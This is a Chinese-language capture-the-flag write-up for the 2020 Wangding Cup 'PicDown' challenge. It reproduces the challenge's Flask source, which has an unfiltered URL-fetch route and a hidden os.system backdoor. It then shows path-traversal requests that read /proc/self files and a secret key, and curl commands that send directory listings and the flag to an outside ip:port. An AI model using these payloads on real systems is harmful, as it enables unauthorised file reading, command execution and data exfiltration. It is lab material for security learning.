[网鼎杯 2020 白虎组]PicDown curl&/proc
主页有个get型的url传参,?url=../../../../../proc/self/cmdline
回显是python3 app.py
然后通过?url=../../../../../proc/self/cwd/app.py看当前的app.py的源码
审计源码:
from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/') def index(): return render_template('search.html') @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value) @app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
可以看到文件开头的这两行:
SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE)
通过open()函数打开了一个文件,这样的话我们就可以在/proc/self/fd里面读取(fd里每一个数字对应着一个本进程打开的文件)
可以暴力破解最后一个数字,这道题是3,?url=../../../../proc/self/fd/3
得到serect.txt的源码,即serectkey
/no_one_know_the_manager
路由下,接收key和shell的传参,shell就写curl ip:port/`ls /|base64`
发现当前目录下有个flag文件,然后传参?shell=curl ip:port/`cat /flag|base64`